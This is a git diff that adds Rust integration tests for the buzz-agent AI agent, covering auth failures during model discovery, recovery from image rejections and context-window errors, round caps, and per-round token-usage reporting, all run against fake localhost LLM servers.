+    for expected_attempts in 1..=2 {
+        let request = h
+            .send("session/new", json!({ "cwd": "/tmp", "mcpServers": [] }))
+            .await;
+        let response = h.recv_for(request).await;
+        assert!(
+            response["result"]["sessionId"].is_string(),
+            "non-auth catalog failure blocked session creation: {response}"
+        );
+        assert_eq!(
+            response["result"]["models"]["availableModels"],
+            json!([{"modelId": normalized_configured_model, "name": normalized_configured_model}])
+        );
+        assert_eq!(attempts.load(Ordering::SeqCst), expected_attempts);
+    }
+}
+
+#[tokio::test]
+async fn rejected_static_token_does_not_consume_capacity_or_spawn_mcp() {
+    use axum::http::StatusCode;
+
+    let attempts = Arc::new(AtomicU64::new(0));
+    let attempts_for_route = attempts.clone();
+    let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
+    let host = format!("http://{}", listener.local_addr().unwrap());
+    let app = Router::new().route(
+        "/api/ai-gateway/v2/endpoints",
+        get(move || {
+            let attempts = attempts_for_route.clone();
+            async move {
+                if attempts.fetch_add(1, Ordering::SeqCst) == 0 {
+                    Err((StatusCode::UNAUTHORIZED, "rejected"))
+                } else {
+                    Ok(Json(json!({
+                        "endpoints": [{"name": "discovered-model"}],
+                        "next_page_token": null,
+                    })))
+                }
+            }
+        }),
+    );
+    tokio::spawn(async move {
+        let _ = axum::serve(listener, app).await;
+    });
+
+    let mut h = AgentHarness::spawn_provider("databricks_v2", &host, "discovered-model").await;
+    let initialize = h
+        .send(
+            "initialize",
+            json!({ "protocolVersion": 1, "clientCapabilities": {} }),
+        )
+        .await;
+    assert!(h.recv_for(initialize).await.get("result").is_some());
+
+    let pid_dir = TempDir::new().unwrap();
+    let pid_file = pid_dir.path().join("mcp.pid");
+    let fake_mcp = env!("CARGO_BIN_EXE_fake-mcp");
+    let mcp_servers = json!([{
+        "name": "must-not-spawn",
+        "command": fake_mcp,
+        "args": [],
+        "env": [{
+            "name": "FAKE_MCP_PID_FILE",
+            "value": pid_file.to_string_lossy(),
+        }],
+    }]);
+
+    let failed = h
+        .send(
+            "session/new",
+            json!({ "cwd": "/tmp", "mcpServers": mcp_servers }),
+        )
+        .await;
+    let failed_response = h.recv_for(failed).await;
+    assert!(failed_response.get("error").is_some(), "{failed_response}");
+    assert!(
+        failed_response["error"]["message"]
+            .as_str()
+            .unwrap_or_default()
+            .contains("llm auth"),
+        "rejected static token did not retain auth semantics: {failed_response}"
+    );
+    tokio::time::sleep(Duration::from_millis(100)).await;
+    assert!(
+        !pid_file.exists(),
+        "MCP process spawned before failed discovery was resolved"
+    );
+
+    let retry = h
+        .send("session/new", json!({ "cwd": "/tmp", "mcpServers": [] }))
+        .await;
+    let retry_response = h.recv_for(retry).await;
+    assert!(
+        retry_response["result"]["sessionId"].is_string(),
+        "failed discovery consumed the sole session slot: {retry_response}"
+    );
+    assert_eq!(attempts.load(Ordering::SeqCst), 2);
+}
diff --git a/crates/buzz-agent/tests/fake_llm.rs b/crates/buzz-agent/tests/fake_llm.rs
index f782a9d476..4253ef329c 100644
--- a/crates/buzz-agent/tests/fake_llm.rs
+++ b/crates/buzz-agent/tests/fake_llm.rs
@@ -57,9 +57,26 @@ async fn spawn_fake_llm(responses: Vec<Value>) -> String {
     url
 }
 
+struct CannedResponse {
+    status: u16,
+    body: Value,
+}
+
 /// Like `spawn_fake_llm` but also captures the full JSON request body from each
 /// incoming HTTP request. Returns (url, captured_requests).
 async fn spawn_capturing_fake_llm(responses: Vec<Value>) -> (String, Arc<Mutex<Vec<Value>>>) {
+    spawn_capturing_fake_llm_with_statuses(
+        responses
+            .into_iter()
+            .map(|body| CannedResponse { status: 200, body })
+            .collect(),
+    )
+    .await
+}
+
+async fn spawn_capturing_fake_llm_with_statuses(
+    responses: Vec<CannedResponse>,
+) -> (String, Arc<Mutex<Vec<Value>>>) {
     let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
     let url = format!("http://{}", listener.local_addr().unwrap());
     let queue = Arc::new(Mutex::new(VecDeque::from(responses)));
@@ -122,15 +139,22 @@ async fn spawn_capturing_fake_llm(responses: Vec<Value>) -> (String, Arc<Mutex<V
                 }
 
                 // Send canned response.
-                let body = queue
-                    .lock()
-                    .await
-                    .pop_front()
-                    .unwrap_or_else(|| json!({ "error": "no canned response" }));
-                let body_s = serde_json::to_string(&body).unwrap();
+                let response = queue.lock().await.pop_front().unwrap_or(CannedResponse {
+                    status: 500,
+                    body: json!({ "error": "no canned response" }),
+                });
+                let body_s = serde_json::to_string(&response.body).unwrap();
+                let reason = if response.status == 200 {
+                    "OK"
+                } else {
+                    "Error"
+                };
                 let resp = format!(
-                    "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{}",
-                    body_s.len(), body_s,
+                    "HTTP/1.1 {} {}\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{}",
+                    response.status,
+                    reason,
+                    body_s.len(),
+                    body_s,
                 );
                 let _ = sock.write_all(resp.as_bytes()).await;
                 let _ = sock.shutdown().await;
@@ -316,6 +340,164 @@ async fn tool_call_then_end_turn() {
     h.shutdown().await;
 }
 
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+async fn unsupported_image_response_recovers_without_replaying_image() {
+    let responses = vec![
+        CannedResponse {
+            status: 200,
+            body: openai_tool_call("call_image", "fake__tool_0", json!({})),
+        },
+        CannedResponse {
+            status: 404,
+            body: json!({
+                "error": { "message": "No endpoints found that support image input" }
+            }),
+        },
+        CannedResponse {
+            status: 200,
+            body: openai_text("recovered"),
+        },
+    ];
+    let (url, captures) = spawn_capturing_fake_llm_with_statuses(responses).await;
+    let mut h = Harness::spawn(&url).await;
+
+    h.send(
+        "initialize",
+        json!({"protocolVersion":2,"clientCapabilities":{}}),
+    )
+    .await;
+    let _ = h.recv().await;
+    let session_id = h
+        .send(
+            "session/new",
+            json!({
+                "cwd": "/tmp",
+                "mcpServers": [{
+                    "name": "fake",
+                    "command": env!("CARGO_BIN_EXE_fake-mcp"),
+                    "args": [],
+                    "env": [{ "name": "FAKE_MCP_IMAGE_RESULT", "value": "1" }],
+                }],
+            }),
+        )
+        .await;
+    let session = h.recv_until(|v| v["id"] == json!(session_id)).await;
+    let sid = session["result"]["sessionId"].as_str().unwrap();
+
+    let prompt_id = h
+        .send(
+            "session/prompt",
+            json!({
+                "sessionId": sid,
+                "prompt": [{"type":"text","text":"inspect the image"}],
+            }),
+        )
+        .await;
+    loop {
+        let message = h.recv().await;
+        if message.get("method") == Some(&json!("session/request_permission")) {
+            h.write(json!({
+                "jsonrpc": "2.0",
+                "id": message["id"],
+                "result": { "outcome": { "outcome": "selected", "optionId": "allow" } },
+            }))
+            .await;
+        } else if message["id"] == json!(prompt_id) {
+            assert_eq!(message["result"]["stopReason"], "end_turn");
+            break;
+        }
+    }
+
+    let requests = captures.lock().await;
+    assert_eq!(
+        requests.len(),
+        3,
+        "expected tool, rejection, recovery requests"
+    );
+    let rejected = requests[1].to_string();
+    assert!(
+        rejected.contains("data:image/png;base64,aW1n"),
+        "second request must contain the MCP image: {rejected}"
+    );
+    let recovered = requests[2].to_string();
+    assert!(
+        !recovered.contains("image_url") && !recovered.contains("data:image"),
+        "recovery request must not replay image input: {recovered}"
+    );
+    assert!(
+        recovered.contains("does not support image input")
+            && recovered.contains("text-based inspection"),
+        "recovery request must give the model actionable guidance: {recovered}"
+    );
+    assert!(
+        recovered.contains("call_image") && recovered.contains("tool_call_id"),
+        "recovery must preserve tool-call/result pairing: {recovered}"
+    );
+    drop(requests);
+    h.shutdown().await;
+}
+
+/// The recovery path must only fire when it actually removed an image. If the
+/// provider emits the unsupported-image phrase while history holds no image
+/// (a misclassification, or a provider that returns the phrase for an
+/// unrelated reason), mutating nothing and continuing would spin the turn loop
+/// forever — `max_rounds` defaults to 0 (unlimited) in production, so nothing
+/// downstream bounds it. The turn must fail with the typed error instead.
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+async fn unsupported_image_without_image_in_history_fails_instead_of_looping() {
+    // Five rejections but MAX_ROUNDS=4: if the guard is removed the loop
+    // re-requests without ever mutating history and drains the queue.
+    let responses = (0..5)
+        .map(|_| CannedResponse {
+            status: 404,
+            body: json!({
+                "error": { "message": "No endpoints found that support image input" }
+            }),
+        })
+        .collect();
+    let (url, captures) = spawn_capturing_fake_llm_with_statuses(responses).await;
+    let mut h = Harness::spawn(&url).await;
+
+    h.send(
+        "initialize",
+        json!({"protocolVersion":2,"clientCapabilities":{}}),
+    )
+    .await;
+    let _ = h.recv().await;
+    let session_id = h
+        .send("session/new", json!({ "cwd": "/tmp", "mcpServers": [] }))
+        .await;
+    let session = h.recv_until(|v| v["id"] == json!(session_id)).await;
+    let sid = session["result"]["sessionId"].as_str().unwrap();
+
+    let prompt_id = h
+        .send(
+            "session/prompt",
+            json!({
+                "sessionId": sid,
+                "prompt": [{"type":"text","text":"no image here"}],
+            }),
+        )
+        .await;
+    let reply = h.recv_until(|v| v["id"] == json!(prompt_id)).await;
+
+    assert!(
+        reply.get("result").is_none(),
+        "an unrecoverable image rejection must not complete the turn: {reply}"
+    );
+    let message = reply["error"]["message"].as_str().unwrap_or_default();
+    assert!(
+        message.contains("image input unsupported"),
+        "the typed error must surface to the caller: {reply}"
+    );
+    assert_eq!(
+        captures.lock().await.len(),
+        1,
+        "the loop must not re-request after a rejection it could not repair"
+    );
+    h.shutdown().await;
+}
+
 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
 async fn rejects_concurrent_prompts() {
     // Slow first response so the second prompt arrives mid-flight.
@@ -933,6 +1115,135 @@ async fn no_usage_turn_emits_no_usage_notification() {
     h.shutdown().await;
 }
 
+/// Usage must be reported after EVERY provider round, not only once the turn
+/// returns.
+///
+/// A turn is many provider round-trips over many minutes. While the only report
+/// was the one `session/prompt` sends after the turn returns, a turn whose
+/// process was killed mid-flight reported nothing at all: its counters lived in
+/// the prompt task's stack frame, the provider had already billed them, and no
+/// consumer ever saw them. That is not a corner case for a long-horizon
+/// benchmark — every phase of a `continue_until_timeout` run is terminated
+/// mid-turn by design, which under-reported one measured run's cost several-fold.
+///
+/// Two rounds with distinct usage. The assertion that matters is the FIRST
+/// notification: it must carry round 1's counts alone, proving it was sent
+/// before round 2 had returned, so a kill between the rounds would still have
+/// left round 1 on the wire.
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+async fn usage_is_reported_after_each_round_not_only_at_turn_end() {
+    let url = spawn_fake_llm(vec![
+        openai_tool_call_with_usage("call_round1", "fake__noop", json!({}), 15, 6),
+        openai_text_with_usage("done", 20, 8),
+    ])
+    .await;
+    let mut h = Harness::spawn(&url).await;
+    let sid = init_session(&mut h).await;
+
+    let p_id = h
+        .send(
+            "session/prompt",
+            json!({"sessionId": sid, "prompt": [{"type":"text","text":"go"}]}),
+        )
+        .await;
+
+    let (frames_before, response) = recv_until_with_drain(&mut h, |v| v["id"] == p_id).await;
+    assert_eq!(
+        response["result"]["stopReason"], "end_turn",
+        "turn must complete with end_turn"
+    );
+
+    let usage: Vec<&Value> = frames_before
+        .iter()
+        .filter(|v| is_usage_update(v))
+        .collect();
+    assert!(
+        usage.len() >= 2,
+        "expected a usage_update per round (2 rounds), got {}; frames: {frames_before:#?}",
+        usage.len()
+    );
+
+    // Round 1 alone — emitted while round 2 was still outstanding.
+    assert_eq!(
+        usage[0]["params"]["update"]["accumulatedInputTokens"],
+        json!(15u64),
+        "first notification must carry round 1's input tokens only"
+    );
+    assert_eq!(
+        usage[0]["params"]["update"]["accumulatedOutputTokens"],
+        json!(6u64),
+        "first notification must carry round 1's output tokens only"
+    );
+
+    // The last one is the turn total and is what a high-water-mark consumer keeps.
+    let last = usage[usage.len() - 1];
+    assert_eq!(
+        last["params"]["update"]["accumulatedInputTokens"],
+        json!(35u64),
+        "final notification must carry the turn total 15+20=35"
+    );
+    assert_eq!(
+        last["params"]["update"]["accumulatedOutputTokens"],
+        json!(14u64),
+        "final notification must carry the turn total 6+8=14"
+    );
+
+    h.shutdown().await;
+}
+
+/// A mid-turn report must be SESSION-cumulative, not turn-local.
+///
+/// The baseline handed to the run loop is a snapshot taken when the turn began;
+/// if it were dropped, a consumer taking the high-water mark per session would
+/// see turn 2's first round (a small number) arrive after turn 1's total and
+/// discard it, silently losing turn 2 for any turn that never completed.
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+async fn mid_turn_usage_includes_earlier_turns() {
+    let url = spawn_fake_llm(vec![
+        openai_text_with_usage("turn one", 10, 5),
+        openai_tool_call_with_usage("call_t2", "fake__noop", json!({}), 20, 8),
+        openai_text_with_usage("turn two done", 30, 9),
+    ])
+    .await;
+    let mut h = Harness::spawn(&url).await;
+    let sid = init_session(&mut h).await;
+
+    let p1 = h
+        .send(
+            "session/prompt",
+            json!({"sessionId": sid, "prompt": [{"type":"text","text":"turn 1"}]}),
+        )
+        .await;
+    let (_, _) = recv_until_with_drain(&mut h, |v| v["id"] == p1).await;
+
+    let p2 = h
+        .send(
+            "session/prompt",
+            json!({"sessionId": sid, "prompt": [{"type":"text","text":"turn 2"}]}),
+        )
+        .await;
+    let (frames_before, _) = recv_until_with_drain(&mut h, |v| v["id"] == p2).await;
+
+    let first = frames_before
+        .iter()
+        .find(|v| is_usage_update(v))
+        .unwrap_or_else(|| {
+            panic!("expected a usage_update during turn 2; frames: {frames_before:#?}")
+        });
+    assert_eq!(
+        first["params"]["update"]["accumulatedInputTokens"],
+        json!(30u64),
+        "turn 2 round 1 must report 10 (turn 1) + 20 (this round), not 20"
+    );
+    assert_eq!(
+        first["params"]["update"]["accumulatedOutputTokens"],
+        json!(13u64),
+        "turn 2 round 1 must report 5 (turn 1) + 8 (this round), not 8"
+    );
+
+    h.shutdown().await;
+}
+
 /// When a turn is cancelled AFTER the provider has already returned a response
 /// (so token counts are observed), buzz-agent must still emit the usage
 /// notification before the cancelled `session/prompt` response.
diff --git a/crates/buzz-agent/tests/regressions.rs b/crates/buzz-agent/tests/regressions.rs
index abb4f7b311..c82be76dc0 100644
--- a/crates/buzz-agent/tests/regressions.rs
+++ b/crates/buzz-agent/tests/regressions.rs
@@ -21,6 +21,13 @@ struct CapturingLlm {
 }
 
 async fn spawn_capturing_llm(responses: Vec<Value>) -> CapturingLlm {
+    spawn_capturing_llm_with_status(responses.into_iter().map(|v| (200u16, v)).collect()).await
+}
+
+/// Like `spawn_capturing_llm` but each canned response carries its own HTTP
+/// status, so a test can serve a real provider rejection (e.g. a context-window
+/// 400) instead of only success bodies.
+async fn spawn_capturing_llm_with_status(responses: Vec<(u16, Value)>) -> CapturingLlm {
     let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
     let url = format!("http://{}", listener.local_addr().unwrap());
     let queue = Arc::new(Mutex::new(VecDeque::from(responses)));
@@ -66,14 +73,19 @@ async fn spawn_capturing_llm(responses: Vec<Value>) -> CapturingLlm {
                 if let Ok(req) = serde_json::from_slice::<Value>(&buf[header_end..]) {
                     captured.lock().await.push(req);
                 }
-                let body = queue
+                let (status, body) = queue
                     .lock()
                     .await
                     .pop_front()
-                    .unwrap_or_else(|| json!({ "error": "no canned response" }));
+                    .unwrap_or_else(|| (200, json!({ "error": "no canned response" })));
                 let body_s = serde_json::to_string(&body).unwrap();
+                let reason = match status {
+                    200 => "OK",
+                    400 => "Bad Request",
+                    _ => "Error",
+                };
                 let resp = format!(
-                    "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{}",
+                    "HTTP/1.1 {status} {reason}\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{}",
                     body_s.len(), body_s,
                 );
                 let _ = sock.write_all(resp.as_bytes()).await;
@@ -2281,3 +2293,1293 @@ fn reply_guard_rejects_unparseable_toggle() {
         "expected the offending key in the error, got: {stderr}"
     );
 }
+
+/// A prompt large enough that the recovery ladder's halving stays above
+/// `HANDOFF_MIN_PROMPT_BUDGET_BYTES` (4 KiB) for all three rungs.
+///
+/// This is load-bearing, not decoration: with a tiny history the ladder
+/// correctly refuses on the FIRST rung (halving a 49-byte history lands at 24
+/// bytes, far under the floor), so a small fixture cannot exercise recovery at
+/// all — it exercises the floor. `marker` is embedded so the prompt is still
+/// identifiable in a captured request body.
+fn large_prompt(marker: &str) -> String {
+    let mut s = String::with_capacity(64 * 1024 + marker.len());
+    s.push_str(marker);
+    s.push(' ');
+    while s.len() < 64 * 1024 {
+        s.push_str("filler context to make the history realistically large. ");
+    }
+    s
+}
+
+/// OpenAI-compatible context-window rejection body, matching the shape the
+/// provider actually returns on overflow.
+fn openai_context_length_error() -> Value {
+    json!({
+        "error": {
+            "message": "This model's maximum context length is 8192 tokens. \
+                        However, your messages resulted in 20000 tokens.",
+            "type": "invalid_request_error",
+            "code": "context_length_exceeded",
+        }
+    })
+}
+
+/// A 400 that is NOT a context-window overflow — the negative control for the
+/// matcher. Deliberately quotes "tokens" and "model", the words a sloppy
+/// matcher would key on.
+fn openai_ordinary_400() -> Value {
+    json!({
+        "error": {
+            "message": "Invalid value for 'max_tokens': must be an integer for this model",
+            "type": "invalid_request_error",
+            "code": "invalid_value",
+        }
+    })
+}
+
+/// THE BUG. A provider context-window 400 must be recovered from in-loop, not
+/// propagated out of `run()`.
+///
+/// Without the reactive path this is a permanent stick, and the mechanism is
+/// what makes it permanent rather than transient: a failed request reports no
+/// usage, so `last_request_input_tokens` stays frozen at the last SUCCESSFUL
+/// (sub-threshold) reading, `should_handoff()` therefore returns false forever,
+/// and the in-memory session keeps the same oversized history. Every later
+/// prompt in that session fails identically, for the life of the session.
+/// (Restarting the agent clears it — history is not written to disk — which is
+/// why the only workaround today is a restart.)
+///
+/// The sequence here reproduces exactly that state: request 1 succeeds and
+/// reports usage well UNDER the threshold (so the proactive gate is provably
+/// not what fires), request 2 is rejected with a context-window 400. The agent
+/// must force a handoff and retry, so the prompt still ends in a normal
+/// `end_turn` rather than a JSON-RPC error.
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+async fn context_window_400_recovers_instead_of_sticking() {
+    let llm = spawn_capturing_llm_with_status(vec![
+        // req 1: succeeds, usage 10 tokens — far under any threshold.
+        (200, openai_text_with_usage("ack", 10)),
+        // req 2: the overflow rejection.
+        (400, openai_context_length_error()),
+        // req 3: the forced handoff's summarize() call.
+        (200, openai_text("recovered handoff summary")),
+        // req 4: the retried completion, now on fresh history.
+        (200, openai_text_with_usage("done after recovery", 10)),
+    ])
+    .await;
+    let mut h = Harness::spawn_with_env(
+        &llm.url,
+        &[
+            // Large window + large byte budget: neither proactive gate can be
+            // what produces the handoff, so a handoff here is attributable to
+            // the reactive path alone.
+            ("BUZZ_AGENT_MAX_CONTEXT_TOKENS", "200000"),
+            ("BUZZ_AGENT_MAX_OUTPUT_TOKENS", "8192"),
+            (
+                "BUZZ_AGENT_MAX_HISTORY_BYTES",
+                &(16 * 1024 * 1024).to_string(),
+            ),
+            // Cap of 0: proves the forced path bypasses `max_handoffs`. Any
+            // gated handoff is impossible under this setting.
+            ("BUZZ_AGENT_MAX_HANDOFFS", "0"),
+        ],
+    )
+    .await;
+    let sid = init_session(&mut h, json!([])).await;
+
+    let p0 = h
+        .send(
+            "session/prompt",
+            json!({"sessionId": sid, "prompt": [{"type":"text","text":"first prompt, succeeds"}]}),
+        )
+        .await;
+    let r0 = h.recv_until(|v| v["id"] == json!(p0)).await;
+    assert!(
+        r0["result"].get("stopReason").is_some(),
+        "first prompt should succeed: {r0}"
+    );
+
+    // Second prompt: its first completion is rejected for context overflow.
+    let p1 = h
+        .send(
+            "session/prompt",
+            json!({"sessionId": sid, "prompt": [{"type":"text","text": large_prompt("second-prompt-overflows")}]}),
+        )
+        .await;
+    let r1 = h.recv_until(|v| v["id"] == json!(p1)).await;
+    assert!(
+        r1.get("error").is_none(),
+        "context-window 400 must be recovered in-loop, not returned as an error: {r1} \
+         stderr={}",
+        h.stderr_text()
+    );
+    assert_eq!(
+        r1["result"]["stopReason"],
+        "end_turn",
+        "expected the turn to finish after recovery: {r1} stderr={}",
+        h.stderr_text()
+    );
+    // 4 requests = the rejected one, the summarize, and the retry. 2 would mean
+    // no recovery was attempted.
+    let captured = llm.captured.lock().await.len();
+    assert_eq!(
+        captured,
+        4,
+        "expected reject + summarize + retry (4 reqs total), saw {captured} — stderr={}",
+        h.stderr_text()
+    );
+    let stderr = h.stderr_text();
+    assert!(
+        stderr.contains("provider reported context overflow; forcing handoff"),
+        "expected the forced-handoff log line, got: {stderr}"
+    );
+    h.shutdown().await;
+}
+
+/// A successful recovery must actually send the recovered completion, even when
+/// `max_rounds` is finite. `round` is incremented BEFORE the completion that
+/// gets rejected, so a naive `continue` after recovery re-enters the loop with
+/// the rejected attempt already charged against the cap: with
+/// `BUZZ_AGENT_MAX_ROUNDS=1` the turn would return `max_turn_requests` after
+/// destructively resetting history, having never sent the retry. That silently
+/// converts "recovered" into "history destroyed, question unanswered" — worse
+/// than the error it replaced, because the user gets a stop reason rather than a
+/// failure.
+///
+/// The default `max_rounds` is 0 (unbounded), which is why the rest of the
+/// matrix cannot see this: the cap check at the top of the loop never fires.
+///
+/// `max_rounds=1` is also the tightest possible setting, so it pins the
+/// boundary: exactly one round is authorized, the rejected request must not
+/// consume it, and the retry must be the request that spends it.
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+async fn recovery_retry_is_sent_under_a_finite_round_cap() {
+    let llm = spawn_capturing_llm_with_status(vec![
+        // req 1: the overflow rejection (round 1 charged before it is sent).
+        (400, openai_context_length_error()),
+        // req 2: the forced handoff's summarize() call.
+        (200, openai_text("recovered handoff summary")),
+        // req 3: the retried completion. Under the bug this is never sent.
+        (200, openai_text_with_usage("done after recovery", 10)),
+    ])
+    .await;
+    let mut h = Harness::spawn_with_env(
+        &llm.url,
+        &[
+            ("BUZZ_AGENT_MAX_CONTEXT_TOKENS", "200000"),
+            ("BUZZ_AGENT_MAX_OUTPUT_TOKENS", "8192"),
+            (
+                "BUZZ_AGENT_MAX_HISTORY_BYTES",
+                &(16 * 1024 * 1024).to_string(),
+            ),
+            ("BUZZ_AGENT_MAX_HANDOFFS", "0"),
+            // The whole point: a finite cap, at its tightest.
+            ("BUZZ_AGENT_MAX_ROUNDS", "1"),
+        ],
+    )
+    .await;
+    let sid = init_session(&mut h, json!([])).await;
+
+    let p0 = h
+        .send(
+            "session/prompt",
+            json!({"sessionId": sid, "prompt": [{"type":"text","text": large_prompt("overflows-under-finite-cap")}]}),
+        )
+        .await;
+    let r0 = h.recv_until(|v| v["id"] == json!(p0)).await;
+    assert!(
+        r0.get("error").is_none(),
+        "context-window 400 must be recovered in-loop: {r0} stderr={}",
+        h.stderr_text()
+    );
+    // The discriminator. `max_turn_requests` here means recovery ran, history
+    // was reset, and the turn ended without ever asking the model again.
+    assert_eq!(
+        r0["result"]["stopReason"],
+        "end_turn",
+        "a recovered turn must finish by answering, not by hitting the round cap: {r0} \
+         stderr={}",
+        h.stderr_text()
+    );
+    // 3 requests = reject + summarize + retry. 2 would mean the retry was
+    // never sent (the bug); the outcome assertion alone cannot tell those apart
+    // if the stop reason were ever produced some other way.
+    let captured = llm.captured.lock().await.len();
+    assert_eq!(
+        captured,
+        3,
+        "expected reject + summarize + retry (3 reqs), saw {captured} — stderr={}",
+        h.stderr_text()
+    );
+    h.shutdown().await;
+}
+
+/// The finite round cap must still bind for ORDINARY rounds — the recovery
+/// refund must not become a general amnesty. With `max_rounds=1` and no context
+/// overflow anywhere, a model that keeps requesting tool calls gets exactly one
+/// completion and then `max_turn_requests`.
+///
+/// Without this arm, "make the recovered retry possible" is satisfiable by
+/// deleting the cap, and the test above would still pass.
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+async fn finite_round_cap_still_binds_without_a_context_overflow() {
+    let llm = spawn_capturing_llm_with_status(vec![
+        // Round 1: a tool call, which would normally drive another round.
+        (
+            200,
+            openai_tool_call("tc1", "dev__shell", json!({"command": "true"})),
+        ),
+        // Never reached: the cap must stop the turn before a second completion.
+        (200, openai_text_with_usage("should not be sent", 10)),
+    ])
+    .await;
+    let mut h = Harness::spawn_with_env(
+        &llm.url,
+        &[
+            ("BUZZ_AGENT_MAX_CONTEXT_TOKENS", "200000"),
+            ("BUZZ_AGENT_MAX_ROUNDS", "1"),
+        ],
+    )
+    .await;
+    let sid = init_session(&mut h, json!([])).await;
+
+    let p0 = h
+        .send(
+            "session/prompt",
+            json!({"sessionId": sid, "prompt": [{"type":"text","text":"drive a tool call"}]}),
+        )
+        .await;
+    let r0 = h.recv_until(|v| v["id"] == json!(p0)).await;
+    assert_eq!(
+        r0["result"]["stopReason"],
+        "max_turn_requests",
+        "an ordinary finite cap must still bind: {r0} stderr={}",
+        h.stderr_text()
+    );
+    let captured = llm.captured.lock().await.len();
+    assert_eq!(
+        captured,
+        1,
+        "exactly one completion is authorized by max_rounds=1, saw {captured} — stderr={}",
+        h.stderr_text()
+    );
+    h.shutdown().await;
+}
+
+/// Prompt-exactly-once across a forced handoff: the live user prompt must be
+/// retained in the fresh history exactly once — not dropped (the model would
+/// answer a question it can no longer see) and not duplicated (a doubled prompt
+/// re-inflates the context we just shrank, and can produce a doubled action).
+///
+/// Asserted on the retry request's own message array, which is the only place
+/// the post-reset history is observable from outside.
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+async fn forced_handoff_retains_live_prompt_exactly_once() {
+    const MARKER: &str = "unique-live-prompt-marker-7f3a";
+    let llm = spawn_capturing_llm_with_status(vec![
+        (200, openai_text_with_usage("ack", 10)),
+        (400, openai_context_length_error()),
+        (200, openai_text("summary body")),
+        (200, openai_text_with_usage("done", 10)),
+    ])
+    .await;
+    let mut h = Harness::spawn_with_env(
+        &llm.url,
+        &[
+            ("BUZZ_AGENT_MAX_CONTEXT_TOKENS", "200000"),
+            (
+                "BUZZ_AGENT_MAX_HISTORY_BYTES",
+                &(16 * 1024 * 1024).to_string(),
+            ),
+            ("BUZZ_AGENT_MAX_HANDOFFS", "0"),
+        ],
+    )
+    .await;
+    let sid = init_session(&mut h, json!([])).await;
+    let p0 = h
+        .send(
+            "session/prompt",
+            json!({"sessionId": sid, "prompt": [{"type":"text","text":"warmup"}]}),
+        )
+        .await;
+    let _ = h.recv_until(|v| v["id"] == json!(p0)).await;
+    let p1 = h
+        .send(
+            "session/prompt",
+            json!({"sessionId": sid, "prompt": [{"type":"text","text": large_prompt(MARKER)}]}),
+        )
+        .await;
+    let r1 = h.recv_until(|v| v["id"] == json!(p1)).await;
+    assert!(r1.get("error").is_none(), "expected recovery: {r1}");
+
+    let captured = llm.captured.lock().await;
+    let retry = captured
+        .last()
+        .expect("at least one captured request")
+        .clone();
+    drop(captured);
+    let messages = retry["messages"]
+        .as_array()
+        .unwrap_or_else(|| panic!("retry request had no messages array: {retry}"));
+    let occurrences = messages
+        .iter()
+        .filter(|m| {
+            m["content"]
+                .as_str()
+                .map(|s| s.contains(MARKER))
+                .unwrap_or(false)
+        })
+        .count();
+    assert_eq!(
+        occurrences, 1,
+        "live prompt must appear exactly once in post-handoff history, saw {occurrences} in \
+         {messages:#?}"
+    );
+    h.shutdown().await;
+}
+
+/// Negative control at the loop layer: an ordinary 400 must stay terminal.
+///
+/// This is the arm that keeps the recovery narrow. If the matcher were loose,
+/// this request would be classified as recoverable, the agent would spend its
+/// whole recovery budget summarizing, and a clear immediate failure would
+/// become a slow one — with three wasted provider round-trips. Exactly one
+/// request, and the prompt returns an error.
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+async fn ordinary_400_stays_terminal_and_triggers_no_recovery() {
+    let llm = spawn_capturing_llm_with_status(vec![(400, openai_ordinary_400())]).await;
+    let mut h = Harness::spawn_with_env(
+        &llm.url,
+        &[
+            ("BUZZ_AGENT_MAX_CONTEXT_TOKENS", "200000"),
+            ("BUZZ_AGENT_MAX_HANDOFFS", "3"),
+        ],
+    )
+    .await;
+    let sid = init_session(&mut h, json!([])).await;
+    let p0 = h
+        .send(
+            "session/prompt",
+            json!({"sessionId": sid, "prompt": [{"type":"text","text":"hello"}]}),
+        )
+        .await;
+    let r0 = h.recv_until(|v| v["id"] == json!(p0)).await;
+    assert!(
+        r0.get("error").is_some(),
+        "an ordinary 400 must surface as an error, got: {r0}"
+    );
+    let captured = llm.captured.lock().await.len();
+    assert_eq!(
+        captured,
+        1,
+        "an ordinary 400 must not trigger a recovery attempt; saw {captured} requests — \
+         stderr={}",
+        h.stderr_text()
+    );
+    let stderr = h.stderr_text();
+    assert!(
+        !stderr.contains("provider reported context overflow"),
+        "ordinary 400 must not be classified as a context overflow, got: {stderr}"
+    );
+    h.shutdown().await;
+}
+
+/// The recovery budget must be finite: a provider that rejects every request
+/// for context overflow — including the retries — has to surface the error
+/// rather than being rescued forever. `max_rounds` cannot bound this (it
+/// defaults to 0/unbounded), so the per-`run()` recovery budget is the only
+/// thing standing between this case and an infinite loop.
+///
+/// The stub returns a context-400 to EVERY request, so a missing bound shows up
+/// as a hang rather than a wrong answer — hence the explicit timeout, which is
+/// part of the assertion.
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+async fn context_recovery_budget_exhaustion_surfaces_the_error() {
+    // Enough canned 400s that the queue is never the thing that stops the loop;
+    // the fallback response is also a 400-shaped body under this helper only if
+    // queued, so keep the queue generously long.
+    let responses: Vec<(u16, Value)> = (0..40)
+        .map(|_| (400, openai_context_length_error()))
+        .collect();
+    let llm = spawn_capturing_llm_with_status(responses).await;
+    let mut h = Harness::spawn_with_env(
+        &llm.url,
+        &[
+            ("BUZZ_AGENT_MAX_CONTEXT_TOKENS", "200000"),
+            (
+                "BUZZ_AGENT_MAX_HISTORY_BYTES",
+                &(16 * 1024 * 1024).to_string(),
